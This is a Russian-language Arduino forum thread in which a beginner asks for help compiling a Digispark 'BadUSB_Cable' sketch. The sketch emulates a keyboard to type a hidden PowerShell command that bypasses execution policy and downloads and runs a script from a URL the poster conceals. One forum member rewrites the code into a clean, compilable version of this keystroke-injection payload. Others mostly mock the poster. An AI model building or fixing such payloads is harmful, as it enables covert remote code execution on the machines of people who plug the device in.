Ошибка. Вроде библиотеку скачал, крч посмотрите

Pallor
Offline
Зарегистрирован: 20.11.2021

Эта ошибка:

error: 'Клавиатура' не найдена. Убедитесь входит ли скетч в код '#include <Keyboard.h>'?
exit status 1
'DigiKeyboard' was not declared in this scope
 
 
Что делать? Библиотеку уже скачал
b707
Offline
Зарегистрирован: 26.05.2017

Что это за смесь французского с нижегородским? Приведите оригинальное сообщение об ошибке без перевода

ua6em
ua6em аватар
Offline
Зарегистрирован: 17.08.2016

Pallor пишет:

Эта ошибка:

error: 'Клавиатура' не найдена. Убедитесь входит ли скетч в код '#include <Keyboard.h>'?
exit status 1
'DigiKeyboard' was not declared in this scope
 
 
Что делать? Библиотеку уже скачал


так её не только скачать надо но еще и подключить!

СКЕТЧ-ПОДКЛЮЧИТЬБИБЛИОТЕКУ-ПОДКЛЮЧИТЬ ZIP БИБЛИОТЕКУ

ЕвгенийП
ЕвгенийП аватар
Offline
Зарегистрирован: 25.05.2015

b707 пишет:
Приведите оригинальное сообщение об ошибке без перевода
И, заодно, полный текст скетча

BOOM
BOOM аватар
Offline
Зарегистрирован: 14.11.2018

b707 пишет:
Что это за смесь французского с нижегородским?

Не встречал такого в Нижегородском. По аккуратнее в высказываниях. 

Pallor
Offline
Зарегистрирован: 20.11.2021
C:\Users\User\Desktop\Ардуино: In function 'void setup()':
BadUSB_Cable:3:5: error: 'DigiKeyboard' was not declared in this scope
BadUSB_Cable:5:32: error: 'KEY_ENTER' was not declared in this scope
C:\Users\User\Desktop\Ардуино: In function 'void setup()':
BadUSB_Cable:9:6: error: redefinition of 'void setup()'
C:\Users\User\Desktop\Ардуино:1:6: note: 'void setup()' previously defined here
BadUSB_Cable:11:1: error: 'Клавиатура' не найдена. Убедитесь входит ли скетч в код '#include <Keyboard.h>'?
exit status 1
'DigiKeyboard' was not declared in this scope
 
Pallor
Offline
Зарегистрирован: 20.11.2021

Как это сделать? Впервые понадобился Ардуино.

b707
Offline
Зарегистрирован: 26.05.2017

Pallor пишет:

Как это сделать? Впервые понадобился Ардуино.

Без знаний - никак.

Кстати, скетч откуда? сами собирали по крупицам? почему в нем два setup() ?

Выкладывайте полный код.

ua6em
ua6em аватар
Offline
Зарегистрирован: 17.08.2016

b707 пишет:

Pallor пишет:

Как это сделать? Впервые понадобился Ардуино.

Без знаний - никак.

Кстати, скетч откуда? сами собирали по крупицам? почему в нем два setup() ?

Выкладывайте полный код.

а это как ролсройсе, для надёжности, всего по два

Pallor
Offline
Зарегистрирован: 20.11.2021
void setup() {
  // don't need to set anything up to use DigiKeyboard
    DigiKeyboard.delay(20); // Задержка 20 ms
    DigiKeyboard.println("powershell -ep bypass -nop -w 1 iex(New-Object Net.WebClient).DownloadString('тут ссылка которую вам не надо видеть')"); //Основная команда
    DigiKeyboard.sendKeyStroke(KEY_ENTER); //Enter
}
 
 
void setup()
{
Keyboard.begin();
delay(2000);
}
 
void loop()
{
delay(1000);
//Keyboard.press(KEY_Y);
//Keyboard.release(KEY_Y);
}
ua6em
ua6em аватар
Offline
Зарегистрирован: 17.08.2016

код из первого сетапа перенеси во второй или наоборот и один из сетапов удали

b707
Offline
Зарегистрирован: 26.05.2017

ua6em - все равно работать не будет.

 

ЕвгенийП
ЕвгенийП аватар
Offline
Зарегистрирован: 25.05.2015

ua6em, ну, вот не стыдно по такому коду советы давать? Ну сколько было призывов - если новичок шлёт наши правила нахер, слать туда же его самого!  Скоро один тут останетесь "всеобщим советчиком".

b707
Offline
Зарегистрирован: 26.05.2017

ЕвгенийП, да без разницы. этот ТС все равно тут не задержится...

ua6em
ua6em аватар
Offline
Зарегистрирован: 17.08.2016

Это да, без малого месяц ушло скачать библиотеку, только не ту )))
А код надо вставлять по правилам форума, то-есть так:
 

#include "DigiKeyboard.h"

void setup()
{
  // don't need to set anything up to use DigiKeyboard
  DigiKeyboard.delay(20); // Задержка 20 ms
  DigiKeyboard.println("powershell -ep bypass -nop -w 1 iex(New-Object Net.WebClient).DownloadString('esp')"); //Основная команда
  DigiKeyboard.sendKeyStroke(KEY_ENTER); //Enter
}

void loop()
{
  delay(1000);
  //Keyboard.press(KEY_Y);
  //Keyboard.release(KEY_Y);
}

 

Pallor
Offline
Зарегистрирован: 20.11.2021

Я пытаюсь сделать всё, как вы мне подсказываете

Pallor
Offline
Зарегистрирован: 20.11.2021

Так какую библиотеку тогда

ua6em
ua6em аватар
Offline
Зарегистрирован: 17.08.2016

Pallor пишет:

Так какую библиотеку тогда

никакую, ставишь расширения для DIGISPARK там всё есть!

И таки да, надо не пытаться, надо делать!

Pallor
Offline
Зарегистрирован: 20.11.2021
mykaida
mykaida аватар
Offline
Зарегистрирован: 12.07.2018

Pallor пишет:

https://ibb.co/pzsrz83

Мда... Светодиодиком мигайте до просветления. Наука тут бессильна....

b707
Offline
Зарегистрирован: 26.05.2017

ua6em - что это за Дигиспарки у вас на картинке - с МК 328? - думал. что все дигиспарки строго на Аттини